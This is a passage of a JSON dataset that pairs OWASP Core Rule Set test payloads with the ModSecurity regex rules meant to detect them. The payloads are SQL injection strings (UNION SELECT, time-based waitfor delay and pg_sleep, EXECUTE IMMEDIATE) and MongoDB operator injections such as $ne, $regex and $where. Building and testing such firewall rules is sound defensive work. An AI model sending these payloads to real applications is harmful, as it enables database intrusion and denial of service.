MySQL charset switch and MSSQL DoS attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=ALTER+TABLE+%60mass_mails%60+CHANGE+%60receivers%60+%60receivers%60+ENUM%28%27FACILITIES%27%2C%27APPLICATION_2015%27%2C%27APPLICATION_2016%27%29+CHARACTER+SET+utf8%0A" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)alter[\\s\\x0b]*?[0-9A-Z_a-z]+.*?char(?:acter)?[\\s\\x0b]+set[\\s\\x0b]+[0-9A-Z_a-z]+|[\\\"'`](?:;*?[\\s\\x0b]*?waitfor[\\s\\x0b]+(?:time|delay)[\\s\\x0b]+[\\\"'`]|;.*?:[\\s\\x0b]*?goto)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942240", "test_description": "Detects MySQL charset switch and MSSQL DoS attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "ALTER+TABLE+%60tx_v3appointment_domain_model_appointment%60+ADD+%60video%60+TEXT+CHARACTER+SET+latin1%0A" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)alter[\\s\\x0b]*?[0-9A-Z_a-z]+.*?char(?:acter)?[\\s\\x0b]+set[\\s\\x0b]+[0-9A-Z_a-z]+|[\\\"'`](?:;*?[\\s\\x0b]*?waitfor[\\s\\x0b]+(?:time|delay)[\\s\\x0b]+[\\\"'`]|;.*?:[\\s\\x0b]*?goto)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942240", "test_description": "Detects MySQL charset switch and MSSQL DoS attempts" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "var=EXECUTE%20IMMEDIATE%20%22" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i:merge.*?using\\s*?\\(|execute\\s*?immediate\\s*?[\\\"'`]|match\\s*?[\\w(),+-]+\\s*?against\\s*?\\()", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942250", "test_description": "Find EXECUTE IMMEDIATE injection" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "var=union%20select%20col%20from" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)union.*?select.*?from", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942270", "test_description": "basic sql injection. Common attack string for mysql, oracle and others" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "test=Xunionselectfrom" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)union.*?select.*?from", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942270", "test_description": "Status Page Test - SQL injection test with Xunionselectfrom (missing word boundary at the beginning)" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "var=select%20pg_sleep" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)select[\\s\\x0b]*?pg_sleep|waitfor[\\s\\x0b]*?delay[\\s\\x0b]?[\\\"'`]+[\\s\\x0b]?[0-9]|;[\\s\\x0b]*?shutdown[\\s\\x0b]*?(?:[#;\\{]|/\\*|--)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942280", "test_description": "Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=\"tester@coreruleset.org\"' waitfor delay'0:0:20'--" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)select[\\s\\x0b]*?pg_sleep|waitfor[\\s\\x0b]*?delay[\\s\\x0b]?[\\\"'`]+[\\s\\x0b]?[0-9]|;[\\s\\x0b]*?shutdown[\\s\\x0b]*?(?:[#;\\{]|/\\*|--)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942280", "test_description": "SQL Server waitfor delay attack" } }, { "input": { "malicious_payload": [ { "location": "header_referer", "value": "https://www.example.com/search?hl=en&q=testing-1 waitfor delay '0:0:15' --" } ], "attack_context": { "method": "GET", "location": [ "header_referer" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)select[\\s\\x0b]*?pg_sleep|waitfor[\\s\\x0b]*?delay[\\s\\x0b]?[\\\"'`]+[\\s\\x0b]?[0-9]|;[\\s\\x0b]*?shutdown[\\s\\x0b]*?(?:[#;\\{]|/\\*|--)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942280", "test_description": "SQL Server waitfor delay attack - Referer" } }, { "input": { "malicious_payload": [ { "location": "header_user-agent", "value": "OWASP CRS test agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36-1 waitfor delay '0:0:15' --" } ], "attack_context": { "method": "GET", "location": [ "header_user-agent" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)select[\\s\\x0b]*?pg_sleep|waitfor[\\s\\x0b]*?delay[\\s\\x0b]?[\\\"'`]+[\\s\\x0b]?[0-9]|;[\\s\\x0b]*?shutdown[\\s\\x0b]*?(?:[#;\\{]|/\\*|--)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942280", "test_description": "SQL Server waitfor delay attack - User-Agent" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "u_id[$ne]=2" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\[?\\$(?:a(?:bs|c(?:cumulator|osh?)|dd(?:ToSet)?|ll(?:ElementsTrue)?|n(?:d|yElementTrue)|rray(?:ElemA|ToObjec)t|sinh?|tan[2h]?|vg)|b(?:etween|i(?:narySize|t(?:And|Not|(?:O|Xo)r)?)|ottomN?|sonSize|ucket(?:Auto)?)|c(?:eil|mp|o(?:n(?:cat(?:Arrays)?|d|vert)|sh?|unt|variance(?:Po|Sam)p)|urrentDate)|d(?:a(?:te(?:Add|Diff|From(?:Parts|String)|Subtract|T(?:o(?:Parts|String)|runc))|yOf(?:Month|Week|Year))|e(?:greesToRadians|nseRank|rivative)|iv(?:ide)?|ocumentNumber)|e(?:(?:a|lemMat)ch|q|x(?:ists|p(?:MovingAvg|r)?))|f(?:i(?:lter|rstN?)|loor|unction)|g(?:etField|roup|te?)|(?:hou|xo|yea)r|i(?:fNull|n(?:c|dexOf(?:Array|Bytes|CP)|tegral)?|s(?:Array|Number|o(?:DayOfWeek|Week(?:Year)?)))|jsonSchema|l(?:astN?|et|i(?:ke|(?:nearFil|tera)l)|n|o(?:cf|g(?:10)?)|t(?:e|rim)?)|m(?:a(?:p|xN?)|e(?:dian|rgeObjects|ta)|i(?:llisecond|n(?:N|ute)?)|o(?:d|nth)|ul(?:tiply)?)|n(?:atural|e|in|o[rt])|o(?:bjectToArray|r)|p(?:ercentile|o(?:[pw]|sition)|roject|u(?:ll(?:All)?|sh))|r(?:a(?:diansToDegrees|n(?:[dk]|ge))|e(?:(?:duc|nam)e|gex(?:Find(?:All)?|Match)?|place(?:All|One)|verseArray)|ound|trim)|s(?:(?:ampleRat|lic)e|e(?:cond|t(?:Difference|(?:Equal|WindowField)s|Field|I(?:ntersection|sSubset)|OnInsert|Union)?)|(?:hif|pli|qr)t|i(?:nh?|ze)|ort(?:Array)?|t(?:dDev(?:Po|Sam)p|r(?:Len(?:Bytes|CP)|casecmp))|u(?:b(?:str(?:Bytes|CP)?|tract)|m)|witch)|t(?:anh?|ext|o(?:Bool|D(?:(?:at|oubl)e|ecimal)|HashedIndexKey|Int|Lo(?:ng|wer)|ObjectId|String|U(?:UID|pper)|pN?)|r(?:im|unc)|s(?:Increment|Second)|ype)|unset|w(?:eek|here)|zip)\\]?", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942290", "test_description": "Test as described in http://www.client9.com/article/five-interesting-injection-attacks/" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "mongoQ=%5b%24lte%5dasdfsd" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\[?\\$(?:a(?:bs|c(?:cumulator|osh?)|dd(?:ToSet)?|ll(?:ElementsTrue)?|n(?:d|yElementTrue)|rray(?:ElemA|ToObjec)t|sinh?|tan[2h]?|vg)|b(?:etween|i(?:narySize|t(?:And|Not|(?:O|Xo)r)?)|ottomN?|sonSize|ucket(?:Auto)?)|c(?:eil|mp|o(?:n(?:cat(?:Arrays)?|d|vert)|sh?|unt|variance(?:Po|Sam)p)|urrentDate)|d(?:a(?:te(?:Add|Diff|From(?:Parts|String)|Subtract|T(?:o(?:Parts|String)|runc))|yOf(?:Month|Week|Year))|e(?:greesToRadians|nseRank|rivative)|iv(?:ide)?|ocumentNumber)|e(?:(?:a|lemMat)ch|q|x(?:ists|p(?:MovingAvg|r)?))|f(?:i(?:lter|rstN?)|loor|unction)|g(?:etField|roup|te?)|(?:hou|xo|yea)r|i(?:fNull|n(?:c|dexOf(?:Array|Bytes|CP)|tegral)?|s(?:Array|Number|o(?:DayOfWeek|Week(?:Year)?)))|jsonSchema|l(?:astN?|et|i(?:ke|(?:nearFil|tera)l)|n|o(?:cf|g(?:10)?)|t(?:e|rim)?)|m(?:a(?:p|xN?)|e(?:dian|rgeObjects|ta)|i(?:llisecond|n(?:N|ute)?)|o(?:d|nth)|ul(?:tiply)?)|n(?:atural|e|in|o[rt])|o(?:bjectToArray|r)|p(?:ercentile|o(?:[pw]|sition)|roject|u(?:ll(?:All)?|sh))|r(?:a(?:diansToDegrees|n(?:[dk]|ge))|e(?:(?:duc|nam)e|gex(?:Find(?:All)?|Match)?|place(?:All|One)|verseArray)|ound|trim)|s(?:(?:ampleRat|lic)e|e(?:cond|t(?:Difference|(?:Equal|WindowField)s|Field|I(?:ntersection|sSubset)|OnInsert|Union)?)|(?:hif|pli|qr)t|i(?:nh?|ze)|ort(?:Array)?|t(?:dDev(?:Po|Sam)p|r(?:Len(?:Bytes|CP)|casecmp))|u(?:b(?:str(?:Bytes|CP)?|tract)|m)|witch)|t(?:anh?|ext|o(?:Bool|D(?:(?:at|oubl)e|ecimal)|HashedIndexKey|Int|Lo(?:ng|wer)|ObjectId|String|U(?:UID|pper)|pN?)|r(?:im|unc)|s(?:Increment|Second)|ype)|unset|w(?:eek|here)|zip)\\]?", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942290", "test_description": "basic MongoDB NOSQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "u_id[$regex]=2" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\[?\\$(?:a(?:bs|c(?:cumulator|osh?)|dd(?:ToSet)?|ll(?:ElementsTrue)?|n(?:d|yElementTrue)|rray(?:ElemA|ToObjec)t|sinh?|tan[2h]?|vg)|b(?:etween|i(?:narySize|t(?:And|Not|(?:O|Xo)r)?)|ottomN?|sonSize|ucket(?:Auto)?)|c(?:eil|mp|o(?:n(?:cat(?:Arrays)?|d|vert)|sh?|unt|variance(?:Po|Sam)p)|urrentDate)|d(?:a(?:te(?:Add|Diff|From(?:Parts|String)|Subtract|T(?:o(?:Parts|String)|runc))|yOf(?:Month|Week|Year))|e(?:greesToRadians|nseRank|rivative)|iv(?:ide)?|ocumentNumber)|e(?:(?:a|lemMat)ch|q|x(?:ists|p(?:MovingAvg|r)?))|f(?:i(?:lter|rstN?)|loor|unction)|g(?:etField|roup|te?)|(?:hou|xo|yea)r|i(?:fNull|n(?:c|dexOf(?:Array|Bytes|CP)|tegral)?|s(?:Array|Number|o(?:DayOfWeek|Week(?:Year)?)))|jsonSchema|l(?:astN?|et|i(?:ke|(?:nearFil|tera)l)|n|o(?:cf|g(?:10)?)|t(?:e|rim)?)|m(?:a(?:p|xN?)|e(?:dian|rgeObjects|ta)|i(?:llisecond|n(?:N|ute)?)|o(?:d|nth)|ul(?:tiply)?)|n(?:atural|e|in|o[rt])|o(?:bjectToArray|r)|p(?:ercentile|o(?:[pw]|sition)|roject|u(?:ll(?:All)?|sh))|r(?:a(?:diansToDegrees|n(?:[dk]|ge))|e(?:(?:duc|nam)e|gex(?:Find(?:All)?|Match)?|place(?:All|One)|verseArray)|ound|trim)|s(?:(?:ampleRat|lic)e|e(?:cond|t(?:Difference|(?:Equal|WindowField)s|Field|I(?:ntersection|sSubset)|OnInsert|Union)?)|(?:hif|pli|qr)t|i(?:nh?|ze)|ort(?:Array)?|t(?:dDev(?:Po|Sam)p|r(?:Len(?:Bytes|CP)|casecmp))|u(?:b(?:str(?:Bytes|CP)?|tract)|m)|witch)|t(?:anh?|ext|o(?:Bool|D(?:(?:at|oubl)e|ecimal)|HashedIndexKey|Int|Lo(?:ng|wer)|ObjectId|String|U(?:UID|pper)|pN?)|r(?:im|unc)|s(?:Increment|Second)|ype)|unset|w(?:eek|here)|zip)\\]?", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942290", "test_description": "basic MongoDB NOSQL injection attempts 2" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "u_id[$regex]=2" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\[?\\$(?:a(?:bs|c(?:cumulator|osh?)|dd(?:ToSet)?|ll(?:ElementsTrue)?|n(?:d|yElementTrue)|rray(?:ElemA|ToObjec)t|sinh?|tan[2h]?|vg)|b(?:etween|i(?:narySize|t(?:And|Not|(?:O|Xo)r)?)|ottomN?|sonSize|ucket(?:Auto)?)|c(?:eil|mp|o(?:n(?:cat(?:Arrays)?|d|vert)|sh?|unt|variance(?:Po|Sam)p)|urrentDate)|d(?:a(?:te(?:Add|Diff|From(?:Parts|String)|Subtract|T(?:o(?:Parts|String)|runc))|yOf(?:Month|Week|Year))|e(?:greesToRadians|nseRank|rivative)|iv(?:ide)?|ocumentNumber)|e(?:(?:a|lemMat)ch|q|x(?:ists|p(?:MovingAvg|r)?))|f(?:i(?:lter|rstN?)|loor|unction)|g(?:etField|roup|te?)|(?:hou|xo|yea)r|i(?:fNull|n(?:c|dexOf(?:Array|Bytes|CP)|tegral)?|s(?:Array|Number|o(?:DayOfWeek|Week(?:Year)?)))|jsonSchema|l(?:astN?|et|i(?:ke|(?:nearFil|tera)l)|n|o(?:cf|g(?:10)?)|t(?:e|rim)?)|m(?:a(?:p|xN?)|e(?:dian|rgeObjects|ta)|i(?:llisecond|n(?:N|ute)?)|o(?:d|nth)|ul(?:tiply)?)|n(?:atural|e|in|o[rt])|o(?:bjectToArray|r)|p(?:ercentile|o(?:[pw]|sition)|roject|u(?:ll(?:All)?|sh))|r(?:a(?:diansToDegrees|n(?:[dk]|ge))|e(?:(?:duc|nam)e|gex(?:Find(?:All)?|Match)?|place(?:All|One)|verseArray)|ound|trim)|s(?:(?:ampleRat|lic)e|e(?:cond|t(?:Difference|(?:Equal|WindowField)s|Field|I(?:ntersection|sSubset)|OnInsert|Union)?)|(?:hif|pli|qr)t|i(?:nh?|ze)|ort(?:Array)?|t(?:dDev(?:Po|Sam)p|r(?:Len(?:Bytes|CP)|casecmp))|u(?:b(?:str(?:Bytes|CP)?|tract)|m)|witch)|t(?:anh?|ext|o(?:Bool|D(?:(?:at|oubl)e|ecimal)|HashedIndexKey|Int|Lo(?:ng|wer)|ObjectId|String|U(?:UID|pper)|pN?)|r(?:im|unc)|s(?:Increment|Second)|ype)|unset|w(?:eek|here)|zip)\\]?", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942290", "test_description": "basic MongoDB NOSQL injection attempts 3" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"$not\": \"foo\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\[?\\$(?:a(?:bs|c(?:cumulator|osh?)|dd(?:ToSet)?|ll(?:ElementsTrue)?|n(?:d|yElementTrue)|rray(?:ElemA|ToObjec)t|sinh?|tan[2h]?|vg)|b(?:etween|i(?:narySize|t(?:And|Not|(?:O|Xo)r)?)|ottomN?|sonSize|ucket(?:Auto)?)|c(?:eil|mp|o(?:n(?:cat(?:Arrays)?|d|vert)|sh?|unt|variance(?:Po|Sam)p)|urrentDate)|d(?:a(?:te(?:Add|Diff|From(?:Parts|String)|Subtract|T(?:o(?:Parts|String)|runc))|yOf(?:Month|Week|Year))|e(?:greesToRadians|nseRank|rivative)|iv(?:ide)?|ocumentNumber)|e(?:(?:a|lemMat)ch|q|x(?:ists|p(?:MovingAvg|r)?))|f(?:i(?:lter|rstN?)|loor|unction)|g(?:etField|roup|te?)|(?:hou|xo|yea)r|i(?:fNull|n(?:c|dexOf(?:Array|Bytes|CP)|tegral)?|s(?:Array|Number|o(?:DayOfWeek|Week(?:Year)?)))|jsonSchema|l(?:astN?|et|i(?:ke|(?:nearFil|tera)l)|n|o(?:cf|g(?:10)?)|t(?:e|rim)?)|m(?:a(?:p|xN?)|e(?:dian|rgeObjects|ta)|i(?:llisecond|n(?:N|ute)?)|o(?:d|nth)|ul(?:tiply)?)|n(?:atural|e|in|o[rt])|o(?:bjectToArray|r)|p(?:ercentile|o(?:[pw]|sition)|roject|u(?:ll(?:All)?|sh))|r(?:a(?:diansToDegrees|n(?:[dk]|ge))|e(?:(?:duc|nam)e|gex(?:Find(?:All)?|Match)?|place(?:All|One)|verseArray)|ound|trim)|s(?:(?:ampleRat|lic)e|e(?:cond|t(?:Difference|(?:Equal|WindowField)s|Field|I(?:ntersection|sSubset)|OnInsert|Union)?)|(?:hif|pli|qr)t|i(?:nh?|ze)|ort(?:Array)?|t(?:dDev(?:Po|Sam)p|r(?:Len(?:Bytes|CP)|casecmp))|u(?:b(?:str(?:Bytes|CP)?|tract)|m)|witch)|t(?:anh?|ext|o(?:Bool|D(?:(?:at|oubl)e|ecimal)|HashedIndexKey|Int|Lo(?:ng|wer)|ObjectId|String|U(?:UID|pper)|pN?)|r(?:im|unc)|s(?:Increment|Second)|ype)|unset|w(?:eek|here)|zip)\\]?", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942290", "test_description": "basic MongoDB NOSQL injection attempts 4" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"$nor\": \"foo\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\[?\\$(?:a(?:bs|c(?:cumulator|osh?)|dd(?:ToSet)?|ll(?:ElementsTrue)?|n(?:d|yElementTrue)|rray(?:ElemA|ToObjec)t|sinh?|tan[2h]?|vg)|b(?:etween|i(?:narySize|t(?:And|Not|(?:O|Xo)r)?)|ottomN?|sonSize|ucket(?:Auto)?)|c(?:eil|mp|o(?:n(?:cat(?:Arrays)?|d|vert)|sh?|unt|variance(?:Po|Sam)p)|urrentDate)|d(?:a(?:te(?:Add|Diff|From(?:Parts|String)|Subtract|T(?:o(?:Parts|String)|runc))|yOf(?:Month|Week|Year))|e(?:greesToRadians|nseRank|rivative)|iv(?:ide)?|ocumentNumber)|e(?:(?:a|lemMat)ch|q|x(?:ists|p(?:MovingAvg|r)?))|f(?:i(?:lter|rstN?)|loor|unction)|g(?:etField|roup|te?)|(?:hou|xo|yea)r|i(?:fNull|n(?:c|dexOf(?:Array|Bytes|CP)|tegral)?|s(?:Array|Number|o(?:DayOfWeek|Week(?:Year)?)))|jsonSchema|l(?:astN?|et|i(?:ke|(?:nearFil|tera)l)|n|o(?:cf|g(?:10)?)|t(?:e|rim)?)|m(?:a(?:p|xN?)|e(?:dian|rgeObjects|ta)|i(?:llisecond|n(?:N|ute)?)|o(?:d|nth)|ul(?:tiply)?)|n(?:atural|e|in|o[rt])|o(?:bjectToArray|r)|p(?:ercentile|o(?:[pw]|sition)|roject|u(?:ll(?:All)?|sh))|r(?:a(?:diansToDegrees|n(?:[dk]|ge))|e(?:(?:duc|nam)e|gex(?:Find(?:All)?|Match)?|place(?:All|One)|verseArray)|ound|trim)|s(?:(?:ampleRat|lic)e|e(?:cond|t(?:Difference|(?:Equal|WindowField)s|Field|I(?:ntersection|sSubset)|OnInsert|Union)?)|(?:hif|pli|qr)t|i(?:nh?|ze)|ort(?:Array)?|t(?:dDev(?:Po|Sam)p|r(?:Len(?:Bytes|CP)|casecmp))|u(?:b(?:str(?:Bytes|CP)?|tract)|m)|witch)|t(?:anh?|ext|o(?:Bool|D(?:(?:at|oubl)e|ecimal)|HashedIndexKey|Int|Lo(?:ng|wer)|ObjectId|String|U(?:UID|pper)|pN?)|r(?:im|unc)|s(?:Increment|Second)|ype)|unset|w(?:eek|here)|zip)\\]?", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942290", "test_description": "basic MongoDB NOSQL injection attempts 5" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"$where\": \"foo\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\[?\\$(?:a(?:bs|c(?:cumulator|osh?)|dd(?:ToSet)?|ll(?:ElementsTrue)?|n(?:d|yElementTrue)|rray(?:ElemA|ToObjec)t|sinh?|tan[2h]?|vg)|b(?:etween|i(?:narySize|t(?:And|Not|(?:O|Xo)r)?)|ottomN?|sonSize|ucket(?:Auto)?)|c(?:eil|mp|o(?:n(?:cat(?:Arrays)?|d|vert)|sh?|unt|variance(?:Po|Sam)p)|urrentDate)|d(?:a(?:te(?:Add|Diff|From(?:Parts|String)|Subtract|T(?:o(?:Parts|String)|runc))|yOf(?:Month|Week|Year))|e(?:greesToRadians|nseRank|rivative)|iv(?:ide)?|ocumentNumber)|e(?:(?:a|lemMat)ch|q|x(?:ists|p(?:MovingAvg|r)?))|f(?:i(?:lter|rstN?)|loor|unction)|g(?:etField|roup|te?)|(?:hou|xo|yea)r|i(?:fNull|n(?:c|dexOf(?:Array|Bytes|CP)|tegral)?|s(?:Array|Number|o(?:DayOfWeek|Week(?:Year)?)))|jsonSchema|l(?:astN?|et|i(?:ke|(?:nearFil|tera)l)|n|o(?:cf|g(?:10)?)|t(?:e|rim)?)|m(?:a(?:p|xN?)|e(?:dian|rgeObjects|ta)|i(?:llisecond|n(?:N|ute)?)|o(?:d|nth)|ul(?:tiply)?)|n(?:atural|e|in|o[rt])|o(?:bjectToArray|r)|p(?:ercentile|o(?:[pw]|sition)|roject|u(?:ll(?:All)?|sh))|r(?:a(?:diansToDegrees|n(?:[dk]|ge))|e(?:(?:duc|nam)e|gex(?:Find(?:All)?|Match)?|place(?:All|One)|verseArray)|ound|trim)|s(?:(?:ampleRat|lic)e|e(?:cond|t(?:Difference|(?:Equal|WindowField)s|Field|I(?:ntersection|sSubset)|OnInsert|Union)?)|(?:hif|pli|qr)t|i(?:nh?|ze)|ort(?:Array)?|t(?:dDev(?:Po|Sam)p|r(?:Len(?:Bytes|CP)|casecmp))|u(?:b(?:str(?:Bytes|CP)?|tract)|m)|witch)|t(?:anh?|ext|o(?:Bool|D(?:(?:at|oubl)e|ecimal)|HashedIndexKey|Int|Lo(?:ng|wer)|ObjectId|String|U(?:UID|p